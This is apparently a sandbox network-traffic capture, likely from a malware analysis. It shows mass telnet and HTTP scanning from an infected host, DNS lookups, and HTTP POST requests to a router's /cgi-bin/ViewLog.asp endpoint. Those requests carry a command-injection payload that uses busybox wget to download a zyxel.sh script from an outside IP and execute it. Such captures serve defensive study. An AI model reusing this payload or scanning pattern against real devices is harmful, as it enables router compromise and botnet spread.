Mar 4, 2024 15:05:36.465801954 CET	48089	80	192.168.2.13	112.119.183.3
Mar 4, 2024 15:05:36.465805054 CET	48089	80	192.168.2.13	112.161.152.30
Mar 4, 2024 15:05:36.465805054 CET	48089	80	192.168.2.13	112.158.84.51
Mar 4, 2024 15:05:36.465822935 CET	48089	80	192.168.2.13	112.152.103.7
Mar 4, 2024 15:05:36.465832949 CET	48089	80	192.168.2.13	112.188.153.162
Mar 4, 2024 15:05:36.465835094 CET	48089	80	192.168.2.13	112.232.163.181
Mar 4, 2024 15:05:36.465840101 CET	48089	80	192.168.2.13	112.254.26.154
Mar 4, 2024 15:05:36.465842962 CET	48089	80	192.168.2.13	112.82.251.105
Mar 4, 2024 15:05:36.465847969 CET	48089	80	192.168.2.13	112.165.154.126
Mar 4, 2024 15:05:36.465847969 CET	48089	80	192.168.2.13	112.141.51.220
Mar 4, 2024 15:05:36.465850115 CET	48089	80	192.168.2.13	112.32.253.186
Mar 4, 2024 15:05:36.465871096 CET	48089	80	192.168.2.13	112.171.103.42
Mar 4, 2024 15:05:36.465873957 CET	48089	80	192.168.2.13	112.252.13.203
Mar 4, 2024 15:05:36.465874910 CET	48089	80	192.168.2.13	112.223.114.8
Mar 4, 2024 15:05:36.465878010 CET	48089	80	192.168.2.13	112.161.30.182
Mar 4, 2024 15:05:36.465884924 CET	48089	80	192.168.2.13	112.13.250.130
Mar 4, 2024 15:05:36.465895891 CET	48089	80	192.168.2.13	112.215.15.70
Mar 4, 2024 15:05:36.465903044 CET	48089	80	192.168.2.13	112.31.93.55
Mar 4, 2024 15:05:36.465917110 CET	48089	80	192.168.2.13	112.202.223.91
Mar 4, 2024 15:05:36.465917110 CET	48089	80	192.168.2.13	112.34.139.182
Mar 4, 2024 15:05:36.465917110 CET	48089	80	192.168.2.13	112.102.219.249
Mar 4, 2024 15:05:36.465917110 CET	48089	80	192.168.2.13	112.172.191.204
Mar 4, 2024 15:05:36.465924978 CET	48089	80	192.168.2.13	112.83.30.174
Mar 4, 2024 15:05:36.465924978 CET	48089	80	192.168.2.13	112.32.45.40
Mar 4, 2024 15:05:36.465933084 CET	48089	80	192.168.2.13	112.195.84.216
Mar 4, 2024 15:05:36.465933084 CET	48089	80	192.168.2.13	112.0.205.33
Mar 4, 2024 15:05:36.465939045 CET	48089	80	192.168.2.13	112.212.132.164
Mar 4, 2024 15:05:36.465941906 CET	48089	80	192.168.2.13	112.152.125.217
Mar 4, 2024 15:05:36.465945959 CET	48089	80	192.168.2.13	112.99.184.163
Mar 4, 2024 15:05:36.465955019 CET	48089	80	192.168.2.13	112.38.168.125
Mar 4, 2024 15:05:36.465960979 CET	48089	80	192.168.2.13	112.159.160.72
Mar 4, 2024 15:05:36.465961933 CET	48089	80	192.168.2.13	112.189.214.222
Mar 4, 2024 15:05:36.465961933 CET	48089	80	192.168.2.13	112.35.204.80
Mar 4, 2024 15:05:36.465964079 CET	48089	80	192.168.2.13	112.76.71.172
Mar 4, 2024 15:05:36.465985060 CET	48089	80	192.168.2.13	112.205.241.149
Mar 4, 2024 15:05:36.465987921 CET	48089	80	192.168.2.13	112.91.22.61
Mar 4, 2024 15:05:36.466003895 CET	48089	80	192.168.2.13	112.224.243.193
Mar 4, 2024 15:05:36.466005087 CET	48089	80	192.168.2.13	112.45.220.80
Mar 4, 2024 15:05:36.466006041 CET	48089	80	192.168.2.13	112.237.56.218
Mar 4, 2024 15:05:36.466006994 CET	48089	80	192.168.2.13	112.184.34.131
Mar 4, 2024 15:05:36.466010094 CET	48089	80	192.168.2.13	112.187.114.244
Mar 4, 2024 15:05:36.466020107 CET	48089	80	192.168.2.13	112.190.43.246
Mar 4, 2024 15:05:36.466037989 CET	48089	80	192.168.2.13	112.82.244.143
Mar 4, 2024 15:05:36.466041088 CET	48089	80	192.168.2.13	112.195.106.150
Mar 4, 2024 15:05:36.466041088 CET	48089	80	192.168.2.13	112.49.148.212
Mar 4, 2024 15:05:36.466041088 CET	48089	80	192.168.2.13	112.169.37.154
Mar 4, 2024 15:05:36.466052055 CET	48089	80	192.168.2.13	112.13.24.204
Mar 4, 2024 15:05:36.466192007 CET	40514	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:36.466192007 CET	40514	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:36.466258049 CET	40536	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:36.481228113 CET	37215	47833	41.89.56.20	192.168.2.13
Mar 4, 2024 15:05:36.506460905 CET	8080	41120	62.84.96.245	192.168.2.13
Mar 4, 2024 15:05:36.506896973 CET	8080	41120	62.84.96.245	192.168.2.13
Mar 4, 2024 15:05:36.507558107 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:36.514759064 CET	23	37588	163.18.83.252	192.168.2.13
Mar 4, 2024 15:05:36.519140005 CET	37215	47833	41.175.133.89	192.168.2.13
Mar 4, 2024 15:05:36.519639969 CET	50393	23	192.168.2.13	173.184.205.45
Mar 4, 2024 15:05:36.519642115 CET	37588	23	192.168.2.13	163.18.83.252
Mar 4, 2024 15:05:36.519650936 CET	50393	23	192.168.2.13	211.37.12.219
Mar 4, 2024 15:05:36.519655943 CET	50393	23	192.168.2.13	126.94.23.249
Mar 4, 2024 15:05:36.519651890 CET	50393	23	192.168.2.13	42.173.222.145
Mar 4, 2024 15:05:36.519661903 CET	50393	23	192.168.2.13	49.4.25.15
Mar 4, 2024 15:05:36.519661903 CET	50393	23	192.168.2.13	13.89.119.64
Mar 4, 2024 15:05:36.519674063 CET	50393	23	192.168.2.13	181.161.238.122
Mar 4, 2024 15:05:36.519674063 CET	50393	2323	192.168.2.13	210.242.219.71
Mar 4, 2024 15:05:36.519674063 CET	50393	23	192.168.2.13	203.116.84.132
Mar 4, 2024 15:05:36.519674063 CET	50393	23	192.168.2.13	99.16.191.148
Mar 4, 2024 15:05:36.519674063 CET	50393	23	192.168.2.13	183.218.191.29
Mar 4, 2024 15:05:36.519678116 CET	50393	23	192.168.2.13	183.244.248.128
Mar 4, 2024 15:05:36.519695044 CET	50393	23	192.168.2.13	170.80.96.108
Mar 4, 2024 15:05:36.519695044 CET	50393	23	192.168.2.13	86.113.164.51
Mar 4, 2024 15:05:36.519695044 CET	50393	23	192.168.2.13	82.227.24.120
Mar 4, 2024 15:05:36.519701958 CET	50393	23	192.168.2.13	18.253.148.47
Mar 4, 2024 15:05:36.519701958 CET	50393	23	192.168.2.13	23.15.100.122
Mar 4, 2024 15:05:36.519701958 CET	50393	23	192.168.2.13	209.149.225.75
Mar 4, 2024 15:05:36.519701958 CET	50393	23	192.168.2.13	199.113.68.99
Mar 4, 2024 15:05:36.519701958 CET	50393	23	192.168.2.13	112.118.206.133
Mar 4, 2024 15:05:36.519701958 CET	50393	23	192.168.2.13	191.121.176.74
Mar 4, 2024 15:05:36.519706011 CET	50393	2323	192.168.2.13	88.8.170.45
Mar 4, 2024 15:05:36.519706011 CET	50393	23	192.168.2.13	100.16.4.129
Mar 4, 2024 15:05:36.519706964 CET	50393	23	192.168.2.13	173.8.168.59
Mar 4, 2024 15:05:36.519711018 CET	50393	2323	192.168.2.13	75.125.226.188
Mar 4, 2024 15:05:36.519711018 CET	50393	23	192.168.2.13	119.107.98.1
Mar 4, 2024 15:05:36.519714117 CET	50393	23	192.168.2.13	197.87.253.22
Mar 4, 2024 15:05:36.519714117 CET	50393	23	192.168.2.13	2.76.20.250
Mar 4, 2024 15:05:36.519714117 CET	50393	23	192.168.2.13	118.193.87.220
Mar 4, 2024 15:05:36.519714117 CET	50393	2323	192.168.2.13	171.196.171.111
Mar 4, 2024 15:05:36.519714117 CET	50393	23	192.168.2.13	8.160.170.146
Mar 4, 2024 15:05:36.519716024 CET	50393	23	192.168.2.13	164.253.131.234
Mar 4, 2024 15:05:36.519722939 CET	50393	23	192.168.2.13	19.1.163.148
Mar 4, 2024 15:05:36.519722939 CET	50393	23	192.168.2.13	223.114.51.245
Mar 4, 2024 15:05:36.519722939 CET	50393	23	192.168.2.13	121.62.223.217
Mar 4, 2024 15:05:36.519733906 CET	50393	23	192.168.2.13	12.17.42.229
Mar 4, 2024 15:05:36.519738913 CET	50393	23	192.168.2.13	45.35.231.93
Mar 4, 2024 15:05:36.519738913 CET	50393	23	192.168.2.13	58.7.207.197
Mar 4, 2024 15:05:36.519741058 CET	50393	23	192.168.2.13	170.10.154.117
Mar 4, 2024 15:05:36.519747019 CET	50393	23	192.168.2.13	51.155.208.18
Mar 4, 2024 15:05:36.519750118 CET	50393	23	192.168.2.13	104.55.215.96
Mar 4, 2024 15:05:36.519750118 CET	50393	23	192.168.2.13	73.2.113.198
Mar 4, 2024 15:05:36.519752979 CET	50393	23	192.168.2.13	45.121.179.216
Mar 4, 2024 15:05:36.519752979 CET	50393	23	192.168.2.13	53.108.223.115
Mar 4, 2024 15:05:36.519752979 CET	50393	23	192.168.2.13	143.138.170.200
Mar 4, 2024 15:05:36.519752979 CET	50393	23	192.168.2.13	59.197.92.212
Mar 4, 2024 15:05:36.519761086 CET	50393	2323	192.168.2.13	74.239.73.17
Mar 4, 2024 15:05:36.519761086 CET	50393	23	192.168.2.13	68.18.198.239
Mar 4, 2024 15:05:36.519761086 CET	50393	23	192.168.2.13	171.30.118.165
Mar 4, 2024 15:05:36.519761086 CET	50393	23	192.168.2.13	212.149.179.41
Mar 4, 2024 15:05:36.519767046 CET	50393	23	192.168.2.13	120.149.73.243
Mar 4, 2024 15:05:36.519769907 CET	50393	23	192.168.2.13	151.140.151.1
Mar 4, 2024 15:05:36.519769907 CET	50393	23	192.168.2.13	145.55.228.4
Mar 4, 2024 15:05:36.519783020 CET	50393	23	192.168.2.13	42.38.56.124
Mar 4, 2024 15:05:36.519783974 CET	50393	23	192.168.2.13	41.173.2.124
Mar 4, 2024 15:05:36.519785881 CET	50393	2323	192.168.2.13	14.236.217.83
Mar 4, 2024 15:05:36.519785881 CET	50393	23	192.168.2.13	130.56.115.183
Mar 4, 2024 15:05:36.519785881 CET	50393	23	192.168.2.13	216.115.138.225
Mar 4, 2024 15:05:36.519785881 CET	50393	23	192.168.2.13	79.57.243.209
Mar 4, 2024 15:05:36.519789934 CET	50393	23	192.168.2.13	136.67.81.65
Mar 4, 2024 15:05:36.519790888 CET	50393	2323	192.168.2.13	124.162.184.172
Mar 4, 2024 15:05:36.519790888 CET	50393	23	192.168.2.13	66.141.213.17
Mar 4, 2024 15:05:36.519793987 CET	50393	23	192.168.2.13	1.95.74.172
Mar 4, 2024 15:05:36.519794941 CET	50393	23	192.168.2.13	20.156.159.40
Mar 4, 2024 15:05:36.519800901 CET	50393	23	192.168.2.13	202.186.3.197
Mar 4, 2024 15:05:36.519800901 CET	50393	23	192.168.2.13	167.151.205.34
Mar 4, 2024 15:05:36.519808054 CET	50393	23	192.168.2.13	157.8.100.142
Mar 4, 2024 15:05:36.519814014 CET	50393	23	192.168.2.13	172.222.62.206
Mar 4, 2024 15:05:36.519817114 CET	50393	23	192.168.2.13	221.237.61.11
Mar 4, 2024 15:05:36.519823074 CET	50393	23	192.168.2.13	157.161.50.181
Mar 4, 2024 15:05:36.519823074 CET	50393	2323	192.168.2.13	116.150.36.244
Mar 4, 2024 15:05:36.519823074 CET	50393	23	192.168.2.13	23.107.235.225
Mar 4, 2024 15:05:36.519828081 CET	50393	23	192.168.2.13	171.3.242.249
Mar 4, 2024 15:05:36.519828081 CET	50393	23	192.168.2.13	197.71.19.202
Mar 4, 2024 15:05:36.519829035 CET	50393	23	192.168.2.13	136.24.65.143
Mar 4, 2024 15:05:36.519829035 CET	50393	2323	192.168.2.13	19.205.160.249
Mar 4, 2024 15:05:36.519834995 CET	50393	23	192.168.2.13	150.55.180.208
Mar 4, 2024 15:05:36.519836903 CET	50393	23	192.168.2.13	192.200.164.112
Mar 4, 2024 15:05:36.519839048 CET	50393	23	192.168.2.13	187.181.114.255
Mar 4, 2024 15:05:36.519845009 CET	50393	23	192.168.2.13	34.223.27.174
Mar 4, 2024 15:05:36.519845009 CET	50393	23	192.168.2.13	192.119.196.188
Mar 4, 2024 15:05:36.519854069 CET	50393	23	192.168.2.13	195.147.17.32
Mar 4, 2024 15:05:36.519855022 CET	50393	23	192.168.2.13	61.44.26.14
Mar 4, 2024 15:05:36.519855022 CET	50393	23	192.168.2.13	42.128.195.23
Mar 4, 2024 15:05:36.519855022 CET	50393	23	192.168.2.13	35.250.39.191
Mar 4, 2024 15:05:36.519859076 CET	50393	23	192.168.2.13	93.27.97.111
Mar 4, 2024 15:05:36.519859076 CET	50393	23	192.168.2.13	45.163.109.237
Mar 4, 2024 15:05:36.519862890 CET	50393	23	192.168.2.13	175.48.81.44
Mar 4, 2024 15:05:36.519860029 CET	50393	23	192.168.2.13	129.96.29.217
Mar 4, 2024 15:05:36.519862890 CET	50393	23	192.168.2.13	99.236.231.11
Mar 4, 2024 15:05:36.519865036 CET	50393	23	192.168.2.13	195.161.115.214
Mar 4, 2024 15:05:36.519862890 CET	50393	2323	192.168.2.13	208.81.140.8
Mar 4, 2024 15:05:36.519877911 CET	50393	23	192.168.2.13	158.69.204.97
Mar 4, 2024 15:05:36.519877911 CET	50393	23	192.168.2.13	64.46.214.164
Mar 4, 2024 15:05:36.519882917 CET	50393	23	192.168.2.13	78.157.194.29
Mar 4, 2024 15:05:36.519884109 CET	50393	23	192.168.2.13	13.44.227.204
Mar 4, 2024 15:05:36.519884109 CET	50393	23	192.168.2.13	19.110.36.129
Mar 4, 2024 15:05:36.519884109 CET	50393	23	192.168.2.13	9.221.225.117
Mar 4, 2024 15:05:36.519884109 CET	50393	23	192.168.2.13	169.61.205.46
Mar 4, 2024 15:05:36.519884109 CET	50393	2323	192.168.2.13	209.207.120.126
Mar 4, 2024 15:05:36.519889116 CET	50393	23	192.168.2.13	27.254.62.107
Mar 4, 2024 15:05:36.519889116 CET	50393	23	192.168.2.13	200.140.90.96
Mar 4, 2024 15:05:36.519897938 CET	50393	23	192.168.2.13	218.89.97.203
Mar 4, 2024 15:05:36.519901037 CET	50393	23	192.168.2.13	178.66.167.129
Mar 4, 2024 15:05:36.519902945 CET	50393	23	192.168.2.13	124.224.18.25
Mar 4, 2024 15:05:36.519903898 CET	50393	23	192.168.2.13	62.140.226.36
Mar 4, 2024 15:05:36.519916058 CET	50393	23	192.168.2.13	99.136.20.147
Mar 4, 2024 15:05:36.519917011 CET	50393	23	192.168.2.13	52.233.3.89
Mar 4, 2024 15:05:36.519917011 CET	50393	23	192.168.2.13	40.255.102.169
Mar 4, 2024 15:05:36.519920111 CET	50393	23	192.168.2.13	143.17.197.113
Mar 4, 2024 15:05:36.519920111 CET	50393	23	192.168.2.13	53.39.68.179
Mar 4, 2024 15:05:36.519922972 CET	50393	23	192.168.2.13	172.73.17.151
Mar 4, 2024 15:05:36.519927025 CET	50393	23	192.168.2.13	166.193.13.151
Mar 4, 2024 15:05:36.519929886 CET	50393	23	192.168.2.13	27.47.208.134
Mar 4, 2024 15:05:36.519931078 CET	50393	23	192.168.2.13	208.173.156.30
Mar 4, 2024 15:05:36.519931078 CET	50393	2323	192.168.2.13	53.234.218.217
Mar 4, 2024 15:05:36.519931078 CET	50393	23	192.168.2.13	49.197.12.133
Mar 4, 2024 15:05:36.519937038 CET	50393	23	192.168.2.13	128.159.131.165
Mar 4, 2024 15:05:36.519938946 CET	50393	23	192.168.2.13	64.60.186.147
Mar 4, 2024 15:05:36.519949913 CET	50393	23	192.168.2.13	136.188.149.77
Mar 4, 2024 15:05:36.519949913 CET	50393	23	192.168.2.13	96.135.33.12
Mar 4, 2024 15:05:36.519951105 CET	50393	2323	192.168.2.13	198.178.134.157
Mar 4, 2024 15:05:36.519958019 CET	50393	23	192.168.2.13	43.230.70.155
Mar 4, 2024 15:05:36.519958973 CET	50393	23	192.168.2.13	38.241.91.130
Mar 4, 2024 15:05:36.519958019 CET	50393	23	192.168.2.13	103.106.148.86
Mar 4, 2024 15:05:36.519959927 CET	50393	23	192.168.2.13	121.229.173.213
Mar 4, 2024 15:05:36.519959927 CET	50393	23	192.168.2.13	159.166.55.238
Mar 4, 2024 15:05:36.519961119 CET	50393	23	192.168.2.13	193.99.244.122
Mar 4, 2024 15:05:36.519969940 CET	50393	23	192.168.2.13	140.58.33.241
Mar 4, 2024 15:05:36.519972086 CET	50393	2323	192.168.2.13	17.222.224.198
Mar 4, 2024 15:05:36.519972086 CET	50393	23	192.168.2.13	37.45.170.236
Mar 4, 2024 15:05:36.519973040 CET	50393	23	192.168.2.13	104.9.69.180
Mar 4, 2024 15:05:36.519973040 CET	50393	23	192.168.2.13	135.153.44.186
Mar 4, 2024 15:05:36.519979954 CET	50393	23	192.168.2.13	37.213.189.248
Mar 4, 2024 15:05:36.519985914 CET	50393	23	192.168.2.13	69.168.56.88
Mar 4, 2024 15:05:36.519988060 CET	50393	23	192.168.2.13	147.59.75.195
Mar 4, 2024 15:05:36.519988060 CET	50393	23	192.168.2.13	71.154.218.117
Mar 4, 2024 15:05:36.519988060 CET	50393	23	192.168.2.13	158.176.66.238
Mar 4, 2024 15:05:36.519988060 CET	50393	23	192.168.2.13	188.193.124.232
Mar 4, 2024 15:05:36.519996881 CET	50393	23	192.168.2.13	51.164.95.76
Mar 4, 2024 15:05:36.519996881 CET	50393	23	192.168.2.13	105.181.10.116
Mar 4, 2024 15:05:36.519996881 CET	50393	23	192.168.2.13	78.203.51.51
Mar 4, 2024 15:05:36.520003080 CET	50393	23	192.168.2.13	48.20.219.189
Mar 4, 2024 15:05:36.520003080 CET	50393	23	192.168.2.13	113.61.77.130
Mar 4, 2024 15:05:36.520003080 CET	50393	23	192.168.2.13	142.118.53.161
Mar 4, 2024 15:05:36.520004988 CET	50393	2323	192.168.2.13	62.178.38.138
Mar 4, 2024 15:05:36.520003080 CET	50393	23	192.168.2.13	130.248.75.213
Mar 4, 2024 15:05:36.520004988 CET	50393	23	192.168.2.13	154.238.226.85
Mar 4, 2024 15:05:36.520003080 CET	50393	23	192.168.2.13	121.190.212.31
Mar 4, 2024 15:05:36.520006895 CET	50393	2323	192.168.2.13	196.121.100.214
Mar 4, 2024 15:05:36.520006895 CET	50393	23	192.168.2.13	46.70.165.82
Mar 4, 2024 15:05:36.520015001 CET	50393	23	192.168.2.13	25.107.74.194
Mar 4, 2024 15:05:36.520015001 CET	50393	23	192.168.2.13	102.130.11.12
Mar 4, 2024 15:05:36.520015001 CET	50393	23	192.168.2.13	141.76.53.146
Mar 4, 2024 15:05:36.520015955 CET	50393	23	192.168.2.13	185.202.55.48
Mar 4, 2024 15:05:36.520019054 CET	50393	23	192.168.2.13	158.80.8.5
Mar 4, 2024 15:05:36.520020962 CET	50393	23	192.168.2.13	111.84.76.207
Mar 4, 2024 15:05:36.520023108 CET	50393	23	192.168.2.13	92.216.131.215
Mar 4, 2024 15:05:36.520025015 CET	50393	23	192.168.2.13	95.100.128.16
Mar 4, 2024 15:05:36.520034075 CET	50393	23	192.168.2.13	221.217.228.147
Mar 4, 2024 15:05:36.520039082 CET	50393	23	192.168.2.13	183.148.133.231
Mar 4, 2024 15:05:36.520039082 CET	50393	23	192.168.2.13	79.201.207.98
Mar 4, 2024 15:05:36.520041943 CET	50393	23	192.168.2.13	213.73.240.141
Mar 4, 2024 15:05:36.520041943 CET	50393	23	192.168.2.13	81.123.79.188
Mar 4, 2024 15:05:36.520051956 CET	50393	23	192.168.2.13	41.22.124.57
Mar 4, 2024 15:05:36.520051956 CET	50393	23	192.168.2.13	142.138.55.236
Mar 4, 2024 15:05:36.520056963 CET	50393	23	192.168.2.13	49.31.189.55
Mar 4, 2024 15:05:36.520059109 CET	50393	23	192.168.2.13	77.197.164.128
Mar 4, 2024 15:05:36.520059109 CET	50393	2323	192.168.2.13	212.148.98.156
Mar 4, 2024 15:05:36.520059109 CET	50393	23	192.168.2.13	78.215.149.241
Mar 4, 2024 15:05:36.520059109 CET	50393	23	192.168.2.13	5.171.185.30
Mar 4, 2024 15:05:36.520065069 CET	50393	23	192.168.2.13	183.89.213.168
Mar 4, 2024 15:05:36.520066977 CET	50393	23	192.168.2.13	218.74.45.239
Mar 4, 2024 15:05:36.520066977 CET	50393	23	192.168.2.13	17.223.190.210
Mar 4, 2024 15:05:36.520066977 CET	50393	23	192.168.2.13	209.48.41.195
Mar 4, 2024 15:05:36.520071030 CET	50393	2323	192.168.2.13	105.64.165.99
Mar 4, 2024 15:05:36.520071983 CET	50393	23	192.168.2.13	223.15.45.167
Mar 4, 2024 15:05:36.520071983 CET	50393	23	192.168.2.13	169.36.50.147
Mar 4, 2024 15:05:36.520071983 CET	50393	23	192.168.2.13	71.16.38.189
Mar 4, 2024 15:05:36.520082951 CET	50393	23	192.168.2.13	133.55.193.196
Mar 4, 2024 15:05:36.520090103 CET	50393	23	192.168.2.13	52.96.139.175
Mar 4, 2024 15:05:36.520090103 CET	50393	23	192.168.2.13	71.226.52.39
Mar 4, 2024 15:05:36.520092010 CET	50393	23	192.168.2.13	93.216.110.193
Mar 4, 2024 15:05:36.520092964 CET	50393	23	192.168.2.13	175.45.145.110
Mar 4, 2024 15:05:36.520092964 CET	50393	23	192.168.2.13	124.164.156.234
Mar 4, 2024 15:05:36.520092964 CET	50393	23	192.168.2.13	173.83.188.61
Mar 4, 2024 15:05:36.520092964 CET	50393	23	192.168.2.13	139.169.113.125
Mar 4, 2024 15:05:36.520092964 CET	50393	2323	192.168.2.13	81.31.79.178
Mar 4, 2024 15:05:36.520102978 CET	50393	23	192.168.2.13	37.119.99.234
Mar 4, 2024 15:05:36.520102978 CET	50393	23	192.168.2.13	172.61.245.147
Mar 4, 2024 15:05:36.520106077 CET	50393	2323	192.168.2.13	191.252.83.28
Mar 4, 2024 15:05:36.520106077 CET	50393	23	192.168.2.13	47.1.78.24
Mar 4, 2024 15:05:36.520106077 CET	50393	23	192.168.2.13	115.125.136.191
Mar 4, 2024 15:05:36.520106077 CET	50393	23	192.168.2.13	176.73.57.140
Mar 4, 2024 15:05:36.520107031 CET	50393	23	192.168.2.13	129.228.45.90
Mar 4, 2024 15:05:36.520106077 CET	50393	23	192.168.2.13	4.39.222.90
Mar 4, 2024 15:05:36.520107985 CET	50393	23	192.168.2.13	200.140.219.33
Mar 4, 2024 15:05:36.520117998 CET	50393	23	192.168.2.13	78.82.98.214
Mar 4, 2024 15:05:36.520121098 CET	50393	23	192.168.2.13	181.131.201.227
Mar 4, 2024 15:05:36.520117998 CET	50393	2323	192.168.2.13	104.15.3.229
Mar 4, 2024 15:05:36.520121098 CET	50393	23	192.168.2.13	84.209.229.241
Mar 4, 2024 15:05:36.520117998 CET	50393	23	192.168.2.13	36.31.207.204
Mar 4, 2024 15:05:36.520128012 CET	50393	23	192.168.2.13	132.215.21.115
Mar 4, 2024 15:05:36.520128012 CET	50393	23	192.168.2.13	167.178.56.37
Mar 4, 2024 15:05:36.520128012 CET	50393	23	192.168.2.13	218.139.19.129
Mar 4, 2024 15:05:36.520133018 CET	50393	23	192.168.2.13	204.183.107.101
Mar 4, 2024 15:05:36.520139933 CET	50393	23	192.168.2.13	104.54.110.143
Mar 4, 2024 15:05:36.520140886 CET	50393	23	192.168.2.13	70.188.46.208
Mar 4, 2024 15:05:36.520143986 CET	50393	23	192.168.2.13	1.198.225.63
Mar 4, 2024 15:05:36.520143986 CET	50393	23	192.168.2.13	201.7.18.198
Mar 4, 2024 15:05:36.520150900 CET	50393	23	192.168.2.13	99.169.35.104
Mar 4, 2024 15:05:36.520150900 CET	50393	23	192.168.2.13	60.4.191.157
Mar 4, 2024 15:05:36.520150900 CET	50393	23	192.168.2.13	220.227.139.226
Mar 4, 2024 15:05:36.520150900 CET	50393	2323	192.168.2.13	112.211.82.178
Mar 4, 2024 15:05:36.520150900 CET	50393	23	192.168.2.13	69.88.141.41
Mar 4, 2024 15:05:36.520153046 CET	50393	23	192.168.2.13	51.166.125.142
Mar 4, 2024 15:05:36.520150900 CET	50393	23	192.168.2.13	191.71.47.172
Mar 4, 2024 15:05:36.520159006 CET	50393	23	192.168.2.13	151.142.166.24
Mar 4, 2024 15:05:36.520169973 CET	50393	23	192.168.2.13	19.102.71.150
Mar 4, 2024 15:05:36.520169973 CET	50393	23	192.168.2.13	156.248.110.243
Mar 4, 2024 15:05:36.520169973 CET	50393	23	192.168.2.13	88.160.196.239
Mar 4, 2024 15:05:36.520170927 CET	50393	23	192.168.2.13	105.85.255.0
Mar 4, 2024 15:05:36.520169973 CET	50393	23	192.168.2.13	176.38.224.123
Mar 4, 2024 15:05:36.520174026 CET	50393	23	192.168.2.13	155.22.78.2
Mar 4, 2024 15:05:36.520176888 CET	50393	2323	192.168.2.13	217.14.152.77
Mar 4, 2024 15:05:36.520176888 CET	50393	23	192.168.2.13	192.18.201.199
Mar 4, 2024 15:05:36.520184040 CET	50393	23	192.168.2.13	59.146.65.245
Mar 4, 2024 15:05:36.520186901 CET	50393	23	192.168.2.13	117.195.147.104
Mar 4, 2024 15:05:36.520186901 CET	50393	23	192.168.2.13	128.84.22.244
Mar 4, 2024 15:05:36.520193100 CET	50393	2323	192.168.2.13	222.204.223.249
Mar 4, 2024 15:05:36.520195961 CET	50393	23	192.168.2.13	85.101.237.92
Mar 4, 2024 15:05:36.520195961 CET	50393	23	192.168.2.13	149.244.155.8
Mar 4, 2024 15:05:36.520203114 CET	50393	23	192.168.2.13	182.243.161.21
Mar 4, 2024 15:05:36.520205021 CET	50393	23	192.168.2.13	47.196.46.6
Mar 4, 2024 15:05:36.520207882 CET	50393	23	192.168.2.13	95.34.75.208
Mar 4, 2024 15:05:36.520209074 CET	50393	23	192.168.2.13	134.107.162.233
Mar 4, 2024 15:05:36.520209074 CET	50393	23	192.168.2.13	110.88.211.155
Mar 4, 2024 15:05:36.520221949 CET	50393	23	192.168.2.13	174.58.26.187
Mar 4, 2024 15:05:36.520227909 CET	50393	23	192.168.2.13	104.123.46.199
Mar 4, 2024 15:05:36.520229101 CET	50393	2323	192.168.2.13	184.73.140.238
Mar 4, 2024 15:05:36.520230055 CET	50393	23	192.168.2.13	181.21.136.158
Mar 4, 2024 15:05:36.520229101 CET	50393	23	192.168.2.13	178.216.61.182
Mar 4, 2024 15:05:36.520229101 CET	50393	23	192.168.2.13	144.17.197.124
Mar 4, 2024 15:05:36.520229101 CET	50393	23	192.168.2.13	156.78.153.154
Mar 4, 2024 15:05:36.520231962 CET	50393	23	192.168.2.13	121.47.106.127
Mar 4, 2024 15:05:36.520236015 CET	50393	23	192.168.2.13	165.122.144.197

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 4, 2024 15:08:14.583292961 CET	192.168.2.13	8.8.8.8	0x4881	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 4, 2024 15:08:14.583355904 CET	192.168.2.13	8.8.8.8	0xdc6d	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 4, 2024 15:08:14.683523893 CET	8.8.8.8	192.168.2.13	0x4881	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 4, 2024 15:08:14.683523893 CET	8.8.8.8	192.168.2.13	0x4881	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	41120	62.84.96.245	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:35.370153904 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:36.343099117 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	54732	31.172.75.160	8080

Timestamp	Bytes transferred	Direction	Data
